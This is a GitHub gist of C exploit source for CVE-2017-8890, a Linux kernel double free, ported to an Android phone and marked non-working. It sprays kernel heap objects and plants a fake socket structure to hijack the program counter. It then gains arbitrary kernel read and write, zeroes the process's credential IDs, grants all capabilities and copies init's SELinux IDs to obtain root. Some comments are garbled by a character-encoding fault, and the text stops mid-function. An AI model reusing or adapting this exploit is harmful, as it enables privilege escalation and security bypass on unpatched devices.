Created
July 26, 2019 17:51
-
-
Save dadreamer/7d55d458e31de8a8187c4120a8178f28 to your computer and use it in GitHub Desktop.
CVE-2017-8890 on F-01F (non-working)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* CVE-2017-8890 | |
* This is a dobule free vulnerability found by Pray3r using syzkaller from TYA. | |
* I exploited it on android phone, and dosen't publish it entirely. | |
* But I'm sure that you will know how does it work and make it to root priv. :p | |
* If you have any question or cooperation, wellcome to connect with me. | |
* | |
* Demo | |
* https://asciinema.org/a/MQbN4U1yB2LedJp2tZzjKGUfO | |
* | |
* Jeremy Huang (jeremyhcw@gmail.com) | |
* https://twitter.com/bittorrent3389 | |
* | |
* | |
* -> entry_SYSCALL_64_fastpath() -> SyS_setsockopt() -> SYSC_setsockopt() -> sock_common_setsockopt() -> tcp_setsockopt() -> ip_setsockopt() -> do_ip_setsockopt() -> do_ip_setsockopt() -> ip_mc_join_group() -> sock_kmalloc() -> [...] | |
*/ | |
/* | |
fork from hardenedlinux | |
2018.08.08 modified by thinkycx | |
*/ | |
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdbool.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <sys/syscall.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <sys/wait.h> | |
#include <sys/mman.h> | |
#include <arpa/inet.h> | |
#include <fcntl.h> | |
#include <netdb.h> | |
#include <netinet/in.h> | |
#include <err.h> | |
#include <errno.h> | |
#include <pthread.h> | |
#include <errno.h> | |
#include <semaphore.h> | |
#include <sched.h> | |
#include <sys/time.h> | |
#include <sys/prctl.h> | |
#include "utils.h" | |
#include "one_igmp.h" | |
#define PORT 45555 | |
#define children_num 7 | |
#define defrag_num 60 | |
#define real_spray 1 | |
#define FORKCHILD 0 | |
#define fake_next_rcu (0x0c000000) //struct ip_mc_socklist __rcu *next_rcu; | |
int cpu_num; | |
struct sockaddr_in serv_addr = {}; | |
sem_t sem; | |
struct group_req gr_spray = {}; | |
struct sockaddr_in6 in6_spray = {}; | |
int ipv6_fd[1024] = {}; | |
int ipv6_fd_500[500] = {}; | |
int conntfd[2] = {}; | |
/* cpu imformation */ | |
int cpuid = 0; | |
cpu_set_t mask; | |
// | |
bool server_init=false; | |
bool server_finish=false; | |
bool client_finish=false; | |
// | |
int line, child[8] = {}; | |
pthread_t detect_t; | |
int bind_cpu_on(int); | |
static void init_fake_obj(void); | |
extern int break_kptr_restrict(void); | |
/* | |
int getpid(void) { | |
return syscall(178); | |
} | |
int getcpu(unsigned *cpu, unsigned *a, void *b) | |
{ | |
return syscall(__NR_getcpu, &cpu, NULL, NULL); | |
} | |
*/ | |
#define spray_times 500 /* spray for the hole. */ | |
// SYMBOL ADDRESS NEED TO CHANGE | |
// ffffffc000b070e0 T kernel_setsockopt | |
#define PC_FUNC 0xC083ADA4 //0xffffffc000b070e0 //raw is 0xffffffc000415900 | |
//0xC083ADA4 - kernel_setsockopt start | |
//0xC083ADEC - kernel_setsockopt ret | |
//0xC083AAD0 - kernel_sock_ioctl start | |
//0xC083AAFC - kernel_sock_ioctl ret | |
// If you want to leak sp ,it can work! However, I can control the PC only once, so I give it up. | |
#if 0 | |
pthread_t detect_sp_t; | |
void *func_detect_sp() | |
{ | |
void *p = (void *)0xc000300; //(void*)(fake_next_rcu -0x11f +0x300); | |
printf("[!] %s, detect thread value SP @: %p\n", __func__, p); | |
while ( 1 ) { | |
if ( *(unsigned long *)p != 0xdead ) { | |
printf("[!]!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! SP value get : %p\n", *(unsigned long *)p); | |
} | |
} | |
return NULL; | |
} | |
#endif | |
static int create_socket_spray(int c) // create socket, to be used for spray. | |
{ | |
unsigned i; | |
for ( i = 0; i < c ; i++ ) { | |
if ((ipv6_fd[i] = socket(AF_INET6, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP)) < 0) { | |
printf("%s, socket() failed.", __func__); | |
return i - 1 ; | |
} | |
} | |
return i; | |
} | |
static int prepare_spray_obj(int fd, // spray function | |
struct group_req* gr_spray_ptr, | |
struct sockaddr_in6* in6_spray_ptr, unsigned c) | |
{ | |
gr_spray_ptr->gr_interface = 1; | |
in6_spray_ptr->sin6_family = AF_INET6; | |
int8_t addr[16] = "\xff\x00\x00\x0c\x00\x00\x00\x00\x00\x00"; // \xff because kernel will check if it is a muitiple case addr. | |
*(unsigned*)&addr[8] = c; | |
memcpy(&in6_spray_ptr->sin6_addr, addr, sizeof addr); | |
memcpy(&gr_spray_ptr->gr_group, in6_spray_ptr, sizeof(*in6_spray_ptr)); | |
#if 0 | |
hexdump(gr_spray, sizeof(*gr_spray)); | |
#endif | |
return setsockopt(fd, SOL_IPV6, 0x2a, gr_spray_ptr, sizeof(*gr_spray_ptr)); // it will call kmalloc obj in kernel, search function ipv6_sock_mc_join | |
/* | |
.text:FFFFFFC000C08340 MOV X0, sk ; sk | |
.text:FFFFFFC000C08344 MOV W1, #0x40 ; size | |
.text:FFFFFFC000C08348 MOV W2, #0xD0 ; priority | |
.text:FFFFFFC000C0834C BL sock_kmalloc | |
*/ | |
} | |
static void init_fake_obj(void) // create fake obj in useland : ip_mc_socklist and it's address is 0xc0000ff and the PC will be controlled to 0xFFFFFFC000B07120 | |
{ | |
if ( mmap((void*)fake_next_rcu, 4096, PROT_READ|PROT_WRITE, | |
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) < 0 ) | |
err(-1, "mmap at %p failed.", (void*) fake_next_rcu); | |
ip_mc_socklist *iml = (void*)(fake_next_rcu + 0xff); //0xc0000ff | |
sokket *fake_sock = (void*)&iml->rcu.next; //0xc000117 for x32 //0xc00011f | |
// this will be 1st arg for kernel_setsockopt(). It means X0 is 0xc00011f (0xc000117 for x32). | |
printf("[+] %s(), fake_sock : %p\n", __func__, fake_sock); | |
/* | |
.text:FFFFFFC000B07110 LDR X5, [err,#0x28] | |
.text:FFFFFFC000B07114 LDR X5, [X5,#0x68] | |
.text:FFFFFFC000B07118 BLR X5 | |
.text:FFFFFFC000B0711C | |
.text:FFFFFFC000B0711C loc_FFFFFFC000B0711C ; CODE XREF: kernel_setsockopt+2C↑j | |
.text:FFFFFFC000B0711C STR oldfs, [X19,#8] | |
.text:FFFFFFC000B07120 LDP X19, oldfs, [SP,#var_s10] | |
.text:FFFFFFC000B07124 LDP X29, X30, [SP+var_s0],#0x20 | |
.text:FFFFFFC000B07128 RET | |
*/ | |
*(size_t*)((char*)fake_sock + 0x18 /*0x28*/ ) = (char*)fake_sock + 0x100; //fake_sock->ops = 0xC000117+0x100 = 0xC000217 //0xC00021F for x64 | |
printf("[+] %s(), (char*)fake_sock + 0x18 : %p\n", __func__, ((char*)fake_sock + 0x18 ) ); | |
printf("[+] %s(), *(size_t*)(char*)fake_sock + 0x18 : %p\n", __func__, *(size_t*)(((char*)fake_sock + 0x18 ) )); | |
// SYMBOL ADDRESS NEED TO CHANGE | |
// 0xFFFFFFC000B07120 is kernel_setsockopt ret | |
*(size_t*)((char*)fake_sock + 0x130) = 0xC083ADEC /*ret for kernel_setsockopt*/; | |
//*(size_t*)((char*)fake_sock + 0x124 /*0x168*/ ) = 0xC083AAFC /*ret for kernel_sock_ioctl*/; | |
//for 64 bit: 0xFFFFFFC000B07120;//0xffffffff40404040;//0xFFFFFFC000B07128;//0xffffffc000d8948c; // kernel_sock_ioctl_ret; | |
printf("[+] %s(), (char*)fake_sock + 0x130 : %p\n", __func__, ((char*)fake_sock + 0x130 ) ); | |
printf("[+] %s(), *(size_t*)(char*)fake_sock + 0x130 : %p\n", __func__, *(size_t*)(((char*)fake_sock + 0x130 ) )); | |
iml->rcu.next = (void*) NULL; // 0xc00011f | |
iml->rcu.func = (void*) NULL; // 0xc000127 <-- Bus error on armeabi-v7a (??) | |
printf("[*] iml : %p, &(iml->rcu.next) : %p\n", (void*)iml, &(iml->rcu.next) ); | |
#if 0 | |
// If you want to leak sp ,it can work! However, I can control the PC only once, so I give it up. | |
/* | |
----- | |
At last | |
save sp in x1 and blr to x3 (x0+0x10) | |
0xffffffc000415900 : mov x1, sp ; mov x2, x21 ; ldr x3, [x0, #0x10] ; blr x3 | |
0xffffffc0006bc1dc : ldr x0, [x0, #0x20] ; ldr x2, [x0, #0x1e0] ; ldr x0, [x0, #0x1a0] ; blr x2 | |
0xffffffc00075a0e4 : str x1 , [x0] ; ldr x1, [x0, #0x10] ; ldr x2, [x1, #0x10] ; movz w1, #0xd0 ; blr x2 | |
0x11f: | |
| | 0xffffffc000415900| | |
| 0xffffffc0006bc1dc | | | |
| 0xc000300 | | | |
... | |
0xc000300: | |
| SP | | | |
| X1 0xc000310| | | |
| X2 RET 0xFFFFFFC00029CC04 | | | |
0xc0004a0: | |
| x0 0xc000300 | | |
0xc0004e0пјљ | |
| x2 0xffffffc00075a0e4 | | |
*/ | |
printf("[*] set rop...\n"); | |
void *p = fake_sock; | |
*(unsigned long *)(p+0x10) = 0xffffffc0006bc1dc;//; | |
*(unsigned long *)(p+0x18) = 0xFFFFFFC00029CC04; | |
*(unsigned long *)(p+0x20) = 0xc000300; | |
*(unsigned long *)(p+0x300 - 0x11f ) = 0xdead; | |
*(unsigned long *)(p+0x310 - 0x11f ) = 0xc000310; | |
*(unsigned long *)(p+0x320 - 0x11f ) = 0xFFFFFFC00029CC04;//0xffffffff41414141;//; | |
*(unsigned long *)(p+0x4a0 - 0x11f ) = 0xc000300; | |
*(unsigned long *)(p+0x4e0 - 0x11f ) = 0xffffffc00075a0e4; | |
printf("[*] rop fake sock %p \n", fake_sock); | |
printf("[*] rop %p @ %p\n",(unsigned long *)(p+0x10), (unsigned long *)*(unsigned long *)(p+0x10) ); | |
printf("[*] rop %p @ %p\n",(unsigned long *)(p+0x18), (unsigned long *)*(unsigned long *)(p+0x18) ); | |
printf("[*] rop %p @ %p\n",(unsigned long *)(p+0x20), (unsigned long *)*(unsigned long *)(p+0x20) ); | |
printf("[*] rop %p @ %p\n",(unsigned long *)(p+0x300 - 0x11f), (unsigned long *)*(unsigned long *)(p+0x300 - 0x11f) ); | |
printf("[*] rop %p @ %p\n",(unsigned long *)(p+0x310 - 0x11f), (unsigned long *)*(unsigned long *)(p+0x310 - 0x11f) ); | |
printf("[*] rop %p @ %p\n",(unsigned long *)(p+0x320 - 0x11f), (unsigned long *)*(unsigned long *)(p+0x320 - 0x11f) ); | |
printf("[*] rop %p @ %p\n",(unsigned long *)(p+0x4a0 - 0x11f ), (unsigned long *)*(unsigned long *)(p+0x4a0 - 0x11f ) ); | |
printf("[*] rop %p @ %p\n",(unsigned long *)(p+0x4e0 - 0x11f ), (unsigned long *)*(unsigned long *)(p+0x4e0 - 0x11f ) ); | |
if(pthread_create(&detect_sp_t, NULL, func_detect_sp, NULL)) | |
err(-1, "[-] %s() line: %d, detect_t. ", __func__,__LINE__); | |
#endif | |
} | |
void *detect_fn(void*arg) // use to change iml+0x28 value | |
{ | |
printf("%s(), getpid : %d, gettid() : %d\n", __func__, getpid(), gettid()); | |
struct rcu_head* head = (void*)(fake_next_rcu + 0x117 /*0x11f*/); | |
printf("[!] %s, original value head: %p\n", __func__, head); | |
while ( 1 ) { | |
if ( head->next ) { | |
head->func = (void*)PC_FUNC; //0xffffffc000d89438 | |
break; | |
} | |
} | |
printf("[!] fake_next_rcu was modified to : head->next : %p, head->func : %p\n", | |
head->next, head->func); | |
return NULL; | |
} | |
static int prepare() | |
{ | |
int x, cnt, times, fd, ret, i = ret = times = fd = x = 0; | |
printf("[+] %s(), Create spray socket fd ... %d\n", __func__, spray_times); | |
int c; | |
for ( c = 0 ; c < spray_times ; c++ ) { | |
if ((ipv6_fd_500[c] = | |
socket(AF_INET6, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP)) < 0) { | |
printf("%s, socket() failed.", __func__); | |
} | |
} | |
printf("[+] %s(), Create defrag spray socket fd ... %d\n", __func__, defrag_num); | |
if ( defrag_num == (x = create_socket_spray(defrag_num) )) { | |
printf("[+] create_socket_spray done. create # of socket : %d.\n", x); | |
} | |
else { | |
line = __LINE__; | |
goto error; | |
} | |
if(pthread_create(&detect_t, NULL, detect_fn, NULL)) | |
err(-1, "[-] %s() line: %d, detect_t. ", __func__,__LINE__); | |
cnt = 30; | |
printf("[+] starting spray fd : %d\n", ipv6_fd[0]); | |
for ( i = 0 ; i < cnt ; i++, times = 0 ) | |
while((ret=prepare_spray_obj(ipv6_fd[i], &gr_spray, &in6_spray, times++)) == 0); | |
printf("[+] spray ipv6 obj(30 times) done, not yet close...\n"); | |
printf("%s() done.\n", __func__); | |
int new_cpuid = cpuid; | |
printf("%s(), cpuid : %d, now_cpuid : %d\n", __func__,cpuid, new_cpuid); | |
puts("bind_cpu_on(3)"); | |
for(i =0 ; i < 10000 ;i++) { | |
bind_cpu_on(new_cpuid); | |
} | |
bind_cpu_on(new_cpuid); | |
cpuid = new_cpuid; | |
printf("[!] Target is on cpu %d\n", cpuid); | |
return 0; | |
error: | |
printf("[-] error line: %d\n", line); | |
return -1; | |
} | |
void *free_fn(void *arg) | |
{ | |
int sockfd, i; | |
struct sockaddr_in s = { | |
.sin_family = AF_INET, | |
.sin_port = htons(PORT), | |
.sin_addr = inet_addr("127.0.0.1"), | |
}; | |
printf("[+] %s()\n", __func__); | |
printf("%s(), getpid : %d, gettid() : %d\n", __func__, getpid(), gettid()); | |
while(!server_init) | |
usleep(1); | |
// nanosleep({tv_sec=0, tv_nsec=1000}, NULL) = 0 | |
#define connect_times 2 | |
for ( i = 0 ; i < connect_times ; i++ )//while(1) | |
{ | |
sockfd = socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP); | |
//printf("%s(), sockfd : %d\n", __func__, sockfd); | |
if (connect(sockfd, (struct sockaddr*)&s, sizeof s ) == 0 ) { | |
printf("[+] %d-th client connected successfully...\n", i); | |
if ( close(sockfd) != 0 ) | |
err(-1, "%s(), close(sockfd)\n", __func__); | |
client_finish=true; | |
} | |
} | |
pthread_exit(0); | |
} | |
int ser_sockfd; | |
void *alloc_fn(void *arg) | |
{ | |
struct group_req req; | |
int ret, i; // file descriptor for socket | |
struct sockaddr_in gg = { | |
.sin_family = AF_INET, | |
.sin_port = htons(PORT), | |
.sin_addr = inet_addr("224.0.0.0"), // multicast address | |
}; | |
printf("%s(), getpid : %d, gettid() : %d\n", __func__, getpid(), gettid()); | |
ser_sockfd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC , IPPROTO_IP); | |
req.gr_interface = 1; | |
memcpy(&req.gr_group, &gg, sizeof gg); | |
if (setsockopt(ser_sockfd, SOL_IP, MCAST_JOIN_GROUP, &req, sizeof req) == -1) | |
warn("setsockopt(SO_REUSEADDR)"); | |
bind(ser_sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); | |
listen(ser_sockfd, 2); | |
pthread_t free1_t; | |
// Create a client thread to connect. | |
if ( pthread_create(&free1_t, NULL, free_fn, NULL)) | |
err(1, "free1_t"); | |
server_init = true; | |
int addr_len = sizeof serv_addr; | |
#define accept_times 2 | |
for ( i = 0 ; i < accept_times ; i++ ) | |
{ | |
conntfd[i] = accept4(ser_sockfd, NULL, NULL, 0); | |
if ( conntfd[i] >= 0 ) | |
printf("[+] %d-th accept() has have executed...\n", i); | |
else | |
err(-1, "accept"); | |
} | |
while ( client_finish == false ); | |
server_finish=true; | |
int c, times = 0; | |
for ( c = 0 ; c < 30 ; c++, times = 0 ) { | |
while(prepare_spray_obj( | |
ipv6_fd[c], | |
&gr_spray, | |
&in6_spray, | |
times++) == 0 | |
); | |
} | |
bind_cpu_on(cpuid); | |
bind_cpu_on(cpuid); | |
// close (conntfd[0]) cause by accept4() | |
// Trigger kernel after defrag spray. | |
if ( conntfd[0] ) | |
close(conntfd[0]); | |
else | |
err(-1, "close(conntfd[0])"); | |
for ( c = 0 ; c < defrag_num ; c++ ) { | |
if ( close(ipv6_fd[c]) != 0) | |
err(-1, "close(ipv6_fd[%d] = %d)", c, ipv6_fd[c]); | |
} | |
#if real_spray | |
for ( c = 0 ; c < spray_times ; c++, times = 0 ) { | |
while(prepare_spray_obj( | |
ipv6_fd_500[c], | |
&gr_spray, | |
&in6_spray, | |
times++) == 0 | |
); | |
} | |
printf("[*] spray for the hole... %d times\n", spray_times); | |
#endif | |
return NULL; | |
} | |
static int trigger() | |
{ | |
pthread_t alloc_t, free1_t, free2_t; | |
int sockfd; | |
serv_addr.sin_family = AF_INET; | |
serv_addr.sin_port = htons(PORT); | |
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); | |
int i, times = 1; | |
alloc_fn(NULL); | |
bind_cpu_on(cpuid); | |
printf("[+] Current cpu : %d After triggered and sprayed 500 times.\n", cpuid); | |
#if FORKCHILD | |
printf("[*] kill chilren by fork()?\n"); | |
for ( i = 0 ; i < children_num ; i++ ) | |
{ | |
printf("kill pid : %d\n", child[i]); | |
kill(child[i], SIGKILL); | |
} | |
wait(NULL); | |
#endif | |
printf("[+] All killed\n"); | |
return 0; | |
} | |
int bind_cpu_on(int cpuid) | |
{ | |
int i,now_cpuid = -1; | |
/* | |
if ( cpuid > sysconf(_SC_NPROCESSORS_CONF) -1 ) | |
err(-1,"cpuid is over..."); | |
*/ | |
cpu_set_t get; | |
CPU_ZERO(&mask); | |
CPU_SET(cpuid, &mask); | |
if (cpuid == 3) //was 7 for x64 | |
return sched_setaffinity(0 /* pid self */, sizeof(mask), &mask); | |
while( cpuid != now_cpuid ) { | |
sched_setaffinity(0 /* pid self */, sizeof(mask), &mask); | |
now_cpuid = sched_getcpu(); | |
} | |
return now_cpuid; | |
} | |
static void keep_spraying(int c) | |
{ | |
int sockfd[500] = {}; | |
unsigned i = 0, times, ret; | |
for ( ; i < c ; i++ ) { | |
if ((sockfd[i] = socket(AF_INET6, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP)) < 0) { | |
printf("%s, socket() failed.", __func__); | |
} | |
} | |
for ( i = 0 ; i < c ; i++, times = 0 ) | |
while((ret=prepare_spray_obj(sockfd[i], &gr_spray, &in6_spray, times++)) == 0); | |
// at keep_spraying() | |
for ( i = 0 ; i < c ; i++ ) | |
close(sockfd[i]); | |
printf("%s(%d) done.\n",__func__ , c); | |
bind_cpu_on(cpuid); | |
printf("[*] %s(), prepare close(conntfd[1]) : %d \n", __func__, conntfd[1]); | |
if ( accept_times != 1 ) | |
ret = close(conntfd[1]); | |
else if ( ret != 0 ) | |
err(-1, "close(conntfd[1])"); | |
struct rcu_head* head = (void*)(fake_next_rcu + 0x117); //0x11f for 64-bit | |
for(;;) { | |
close(dup(0)); | |
if ( head->next ) { | |
head->func = (void*)PC_FUNC; //raw is 0xffffffc000d89438 kernel_sock_ioctl | |
break; | |
} | |
} | |
printf("head->next : %p\n", head->next); | |
return; | |
} | |
int main(int argc, char *argv[]) | |
{ | |
cpu_num = sysconf(_SC_NPROCESSORS_CONF); | |
setbuf(stdout, NULL); | |
printf("CVE-2017-8890 exploit. cpu_num : %d\n", cpu_num); | |
printf("%s(), getpid : %d, gettid() : %d\n", __func__, getpid(), gettid()); | |
#if FORKCHILD | |
int x; | |
for ( x = 0; x < children_num ; x++ ) | |
{ | |
if ( (child[x] = fork() ) == 0 ) { | |
printf("I'm child : %d\n", x); | |
while(time((time_t*)NULL)); | |
} | |
} | |
#endif | |
init_fake_obj(); | |
cpuid = sched_getcpu(); | |
if (prepare() < 0 ) | |
err(-1,"prepare failed.."); | |
if (trigger() < 0 ) | |
err(-1, "trigger failed..."); | |
keep_spraying(500); | |
char tester[8] = {}; | |
printf("try to read...\n"); | |
for (;;) { | |
if (!read_at_address_pipe((void*)0xC0008000 /*0xFFFFFFC000080000LL*/, &tester, 4)) { | |
printf("Turn UAF to arbitrary read/write succeeded.\n"); | |
break; | |
} | |
} | |
printf("done!\n"); | |
// SYMBOL ADDRESS NEED TO CHANGE | |
// ffffffc00177c1a0 D init_task | |
size_t init_task = 0xc1020800; //0xffffffc00177c1a0; | |
unsigned int pushable_tasks_value; | |
struct list_head init_head; | |
size_t *init_head_address; | |
unsigned i =0; | |
// find init_task address | |
// from geneblue's blog | |
for(i = 0; i<0x400; i+=sizeof(unsigned int)){ | |
read_at_address_pipe((void *)(init_task+i),&pushable_tasks_value,sizeof(unsigned int)); | |
// printf(" address@ %p ,pushable_tasks_value = %p\n",(void *)(init_task+i), pushable_tasks_value); | |
if(pushable_tasks_value == 0x8c){ | |
init_head_address = (void *)(init_task+i-2*sizeof(size_t)); //init head 在该值的前两个地址处,所以要减去8 | |
printf("[*] init_head_address = %p\n", init_head_address); | |
//所以иїи¦ЃењЁиЇ»дёЂж¬Ў | |
read_at_address_pipe(init_head_address, &init_head, sizeof(init_head)); //иї™дёЂж¬ЎиЇ»е‡єзљ„жЇе†…ж ёзљ„й“ѕиЎЁе¤ґ | |
printf("[*] init head.next= %p\n",(size_t *)init_head.next); | |
printf("[*] init head.prev= %p\n",(size_t *)init_head.prev); | |
break; | |
} | |
} | |
struct task_list_for_comm task_for_comm; | |
struct task_list_for_comm *task; | |
task = &task_for_comm; | |
struct list_head *list_head_p; // must be a pointer | |
int get_exp_comm = 0; | |
int get_init_comm = 0; | |
unsigned long offset = 0; | |
struct cred *init_cred; | |
struct cred *self_cred; | |
list_head_p = &init_head; | |
offset = init_head_address; | |
printf("[*] search comm exp...\n"); | |
while(list_head_p->next != init_head_address ){ | |
//printf("[*] now offset is @ %p\n", (size_t *)offset); | |
//printf("[*] now list_head_p->next @ %p\n",(size_t *)list_head_p->next); // NOW TURN ON SEARCH | |
for(i =0; i<0x400; i+=sizeof(unsigned int)){ | |
read_at_address_pipe((void *)offset+i, task, sizeof(* task)); | |
if(is_cpu_timer_valid(&task->cpu_timers[0]) | |
&& is_cpu_timer_valid(&task->cpu_timers[1]) | |
&& is_cpu_timer_valid(&task->cpu_timers[2]) | |
&& task->real_cred == task->cred){ | |
//printf("\n[!] comm = %s\n",task->comm); | |
if(!strcmp(task->comm,"init")){ | |
printf("\n[!] get process init!\n"); | |
init_cred = task->cred; | |
get_init_comm = 1; | |
} | |
if(!strcmp(task->comm,"exp")){ | |
printf("\n[!] get process exp!\n"); | |
self_cred = task->cred; | |
get_exp_comm = 1; | |
break; | |
} | |
} | |
} | |
if(get_exp_comm & get_init_comm){ | |
break; | |
} | |
//printf("[*] continue to next task_list\n"); | |
//printf("[*] list_head_p->next @ %p\n\n", (void *)list_head_p->next); | |
offset = list_head_p->next; | |
read_at_address_pipe(list_head_p->next, list_head_p, sizeof(*list_head_p)); | |
} | |
if(init_cred == NULL) | |
{ | |
printf("init_cred is null\n"); | |
return -1; | |
}else{ | |
printf("init_cred @ %p\n", (size_t *)init_cred); | |
} | |
if(self_cred == NULL) | |
{ | |
printf("self_cred is null\n"); | |
return -1; | |
} | |
else{ | |
printf("self_cred @ %p\n", (size_t *)self_cred); | |
} | |
unsigned long val = 0; | |
printf("[*] going to patch cred!\n"); | |
write_at_address_pipe(&self_cred->uid, &val, sizeof(self_cred->uid)); | |
write_at_address_pipe(&self_cred->gid, &val, sizeof(self_cred->gid)); | |
write_at_address_pipe(&self_cred->suid, &val, sizeof(self_cred->suid)); | |
write_at_address_pipe(&self_cred->sgid, &val, sizeof(self_cred->sgid)); | |
write_at_address_pipe(&self_cred->euid, &val, sizeof(self_cred->euid)); | |
write_at_address_pipe(&self_cred->egid, &val, sizeof(self_cred->egid)); | |
write_at_address_pipe(&self_cred->fsuid, &val, sizeof(self_cred->fsuid)); | |
write_at_address_pipe(&self_cred->fsgid, &val, sizeof(self_cred->fsgid)); | |
val = -1; | |
write_at_address_pipe(&self_cred->cap_inheritable.cap[0], &val, sizeof(self_cred->cap_inheritable.cap[0])); | |
write_at_address_pipe(&self_cred->cap_inheritable.cap[1], &val, sizeof(self_cred->cap_inheritable.cap[1])); | |
write_at_address_pipe(&self_cred->cap_permitted.cap[0], &val, sizeof(self_cred->cap_permitted.cap[0])); | |
write_at_address_pipe(&self_cred->cap_permitted.cap[1], &val, sizeof(self_cred->cap_permitted.cap[1])); | |
write_at_address_pipe(&self_cred->cap_effective.cap[0], &val, sizeof(self_cred->cap_effective.cap[0])); | |
write_at_address_pipe(&self_cred->cap_effective.cap[1], &val, sizeof(self_cred->cap_effective.cap[1])); | |
write_at_address_pipe(&self_cred->cap_bset.cap[0], &val, sizeof(self_cred->cap_bset.cap[0])); | |
write_at_address_pipe(&self_cred->cap_bset.cap[1], &val, sizeof(self_cred->cap_bset.cap[1])); | |
write_at_address_pipe(&self_cred->cap_ambient.cap[0], &val, sizeof(self_cred->cap_ambient.cap[0])); | |
write_at_address_pipe(&self_cred->cap_ambient.cap[1], &val, sizeof(self_cred->cap_ambient.cap[1])); | |
printf("[*] patch security\n"); | |
unsigned long *temp1; | |
unsigned long *temp2; | |
printf("[!] init_cred->security address @ %p\n", (unsigned long*)&init_cred->security); | |
printf("[!] self_cred->security address @ %p\n", (unsigned long*)&self_cred->security); | |
temp1 = &init_cred->security; | |
temp2 = &self_cred->security; | |
printf("&init_cred->security temp1 @ %p\n", (unsigned long*)temp1); | |
printf("&self_cred->security temp2 @ %p\n", (unsigned long*)temp2); | |
read_at_address_pipe(&init_cred->security, &temp1, sizeof(unsigned long *)); // | |
read_at_address_pipe(&self_cred->security, &temp2, sizeof(unsigned long *)); | |
printf("init_cred->security temp1 @ %p\n", (unsigned long*)temp1); | |
printf("self_cred->security temp2 @ %p\n", (unsigned long*)temp2); | |
struct task_security_struct *init_tss; | |
init_tss = malloc(sizeof(struct task_security_struct)); | |
struct task_security_struct *self_tss; | |
self_tss = malloc(sizeof(struct task_security_struct));; | |
memset(init_tss,0,sizeof(struct task_security_struct)); | |
memset(self_tss,0,sizeof(struct task_security_struct)); | |
printf("init_tss %p \n", init_tss); | |
printf("self_tss %p \n", self_tss); | |
printf("*init_tss %p \n", *(unsigned long *)init_tss); | |
printf("*self_tss %p \n", *(unsigned long *)self_tss); | |
printf("[!]hex dump init_tss\n"); | |
hexdump((void *)init_tss,sizeof(init_tss)); | |
printf("[!]hex dump self_tss\n"); | |
hexdump((void *)self_tss,sizeof(self_tss)); | |
printf("[1] before write!\n"); | |
read_at_address_pipe((void *)temp1, init_tss, sizeof(* init_tss)); | |
read_at_address_pipe((void *)temp2, self_tss, sizeof(* self_tss)); | |
// printf("init_tss osid %p sid %p exec_sid %p create_sid %p keycreate_sid %p sockcreate_sid %p \n", &init_tss->osid, &init_tss->sid, &init_tss->exec_sid, &init_tss->create_sid , &init_tss->keycreate_sid, &init_tss->sockcreate_sid); | |
printf("init_tss osid %#x sid %#x exec_sid %#x create_sid %#x keycreate_sid %#x sockcreate_sid %#x \n", init_tss->osid, init_tss->sid, init_tss->exec_sid, init_tss->create_sid , init_tss->keycreate_sid, init_tss->sockcreate_sid); | |
// printf("self_tss osid %p sid %p exec_sid %p create_sid %p keycreate_sid %p sockcreate_sid %p \n", &self_tss->osid, &self_tss->sid, &self_tss->exec_sid, &self_tss->create_sid, &self_tss->keycreate_sid, &self_tss->sockcreate_sid); | |
printf("self_tss osid %#x sid %#x exec_sid %#x create_sid %#x keycreate_sid %#x sockcreate_sid %#x \n", self_tss->osid, self_tss->sid, self_tss->exec_sid, self_tss->create_sid, self_tss->keycreate_sid, self_tss->sockcreate_sid); | |
printf("[2] start to write.\n"); | |
struct task_security_struct *kernel_init_tss; | |
struct task_security_struct *kernel_self_tss; | |
kernel_init_tss = (struct task_security_struct*)temp1; | |
kernel_self_tss = (struct task_security_struct*)temp2; | |
printf("kernel_init_tss %p \n", kernel_init_tss); | |
printf("kernel_self_tss %p \n", kernel_self_tss); | |
write_at_address_pipe((unsigned long*)&kernel_self_tss->osid, (unsigned long*)&init_tss->osid, sizeof(unsigned int)); | |
write_at_address_pipe((unsigned long*)&kernel_self_tss->sid, (unsigned long*)&init_tss->sid, sizeof(unsigned int)); | |
// write_at_address_pipe((unsigned long*)&kernel_self_tss->exec_sid, (unsigned long*)&init_tss->exec_sid, sizeof(unsigned int)); | |
// write_at_address_pipe((unsigned long*)&kernel_self_tss->create_sid, (unsigned long*)&init_tss->create_sid, sizeof(unsigned int)); | |
// write_at_address_pipe((unsigned long*)&kernel_self_tss->keycreate_sid, (unsigned long*)&init_tss->keycreate_sid, sizeof(unsigned int)); | |
// write_at_address_pipe((unsigned long*)&kernel_self_tss->sockcreate_sid, (unsigned long*)&init_tss->sockcreate_sid, sizeof(unsigned int)); | |
printf("write done!\n"); | |
printf("[3] after write!\n"); | |
read_at_address_pipe((void *)temp1, init_tss, sizeof(* init_tss)); | |
read_at_address_pipe((void *)temp2, self_tss, sizeof(* self_tss)); | |
// printf("init_tss osid %p sid %p exec_sid %p create_sid %p keycreate_sid %p sockcreate_sid %p \n", &init_tss->osid, &init_tss->sid, &init_tss->exec_sid, &init_tss->create_sid , &init_tss->keycreate_sid, &init_tss->sockcreate_sid); | |
printf("init_tss osid %#x sid %#x exec_sid %#x create_sid %#x keycreate_sid %#x sockcreate_sid %#x \n", init_tss->osid, init_tss->sid, init_tss->exec_sid, init_tss->create_sid , init_tss->keycreate_sid, init_tss->sockcreate_sid); | |
// printf("self_tss osid %p sid %p exec_sid %p create_sid %p keycreate_sid %p sockcreate_sid %p \n", &self_tss->osid, &self_tss->sid, &self_tss->exec_sid, &self_tss->create_sid, &self_tss->keycreate_sid, &self_tss->sockcreate_sid); | |
